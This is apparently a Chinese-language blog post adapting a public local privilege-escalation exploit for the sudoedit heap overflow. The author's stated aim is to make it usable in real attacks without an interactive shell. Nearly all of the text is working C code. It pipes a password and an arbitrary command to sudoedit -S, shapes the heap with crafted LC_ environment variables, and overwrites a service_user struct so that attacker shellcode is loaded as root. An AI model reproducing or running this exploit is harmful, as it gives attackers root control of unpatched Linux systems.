本人不擅长二进制,但是看了一下网上公开的Exploit,都需要输入一次密码才能够利用这个漏洞,还是不满足于一些实战场景,如果获得不到交互式Shell,那么用原有的Exploit就不能利用了。
echo "new-pass" | passwd --stdin username
设置-S
参数,可以直接通过管道符传递密码,那么也就是说,给Exploit增加这么一个参数就能在提权的时候不需要输入密码了,从而跳过交互,但前提还是需要用C语言模拟这个管道传递字符。
char* sudoedit_argv[] = {
"sudoedit",
"-S", // --stdin 非交互式
"-s",
buf,
NULL};
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
int des_p[2];
if(pipe(des_p) == -1) {
perror("Pipe failed");
exit(1);
}
if(fork() == 0) // 创建一个子进程向stdout管道填入数据
{
close(STDOUT_FILENO); // 关闭系统输出流
dup(des_p[1]); // 将系统输出流替换为管道
close(des_p[0]); // 关闭输入管道
char * password = "test\r\n1111"; // 设置管道内容
write(des_p[1],password, strlen(password)); // 将内容写到输出管道中
close(des_p[1]); // 关闭输出管道
}
if(fork() == 0) // 创建一个子进程
{
close(STDIN_FILENO); // 关闭系统输入流
dup(des_p[0]); // 将系统输入流替换为输入管道
close(des_p[1]); // 关闭输出管道
close(des_p[0]); // 关闭输入管道
const char* prog2[] = { "wc", "-l", 0}; // 执行wc -l
execvp(prog2[0], prog2);
perror("execvp of wc failed");
exit(1);
}
close(des_p[0]);
close(des_p[1]);
wait(0);
wait(0);
return 0;
}
#include <unistd.h> // execve()
#include <string.h> // strcat()
#include <stdio.h>
int main(int argc, char * argv[]) {
if(argc < 2){
printf("Usage: %s <Command> \n",argv[0]);
printf("[+]Refrence : @Qualys Research Team @Max Kamper \n");
printf("[+]Modify by [email protected] https://payloads.online\n");
return 0;
}
char * input_command = argv[1];
int nSize = strlen(input_command)+6;
char * command = malloc(nSize);
memset(command,0x00,nSize);
sprintf(command,"test\n\n%s\n",input_command);
// 'buf' size determines size of overflowing chunk.
// This will allocate an 0xf0-sized chunk before the target service_user struct.
int i;
char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\\");
char* sudoedit_argv[] = {
"sudoedit",
"-S",
"-s",
buf,
NULL};
// Use some LC_ vars for heap Feng-Shui.
// This should allocate the target service_user struct in the path of the overflow.
char messages[0xe0] = {"[email protected]"};
memset(messages + strlen(messages), 'A', 0xb8);
char telephone[0x50] = {"[email protected]"};
memset(telephone + strlen(telephone), 'A', 0x28);
char measurement[0x50] = {"[email protected]"};
memset(measurement + strlen(measurement), 'A', 0x28);
// This environment variable will be copied onto the heap after the overflowing chunk.
// Use it to bridge the gap between the overflow and the target service_user struct.
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\\");
// Overwrite the 'files' service_user struct's name with the path of our shellcode library.
// The backslashes write nulls which are needed to dodge a couple of crashes.
char* envp[] = {
overflow,
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"XXXXXXX\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"x/x\\",
"Z",
messages,
telephone,
measurement,
NULL};
int des_p[2];
if(pipe(des_p) == -1){
puts("Error .. pipe \n");
return -1;
}
if(fork() == 0)
{
close(STDOUT_FILENO);
dup(des_p[1]);
close(des_p[0]);
write(des_p[1],command, strlen(command));
close(des_p[1]);
exit(1);
}
if(fork()==0){
close(STDIN_FILENO);
dup(des_p[0]);
close(des_p[1]);
close(des_p[0]);
execve("/usr/bin/sudoedit", sudoedit_argv, envp);
perror("execvp of stdread failed");
exit(1);
}
close(des_p[0]);
close(des_p[1]);
wait(0);
wait(0);
}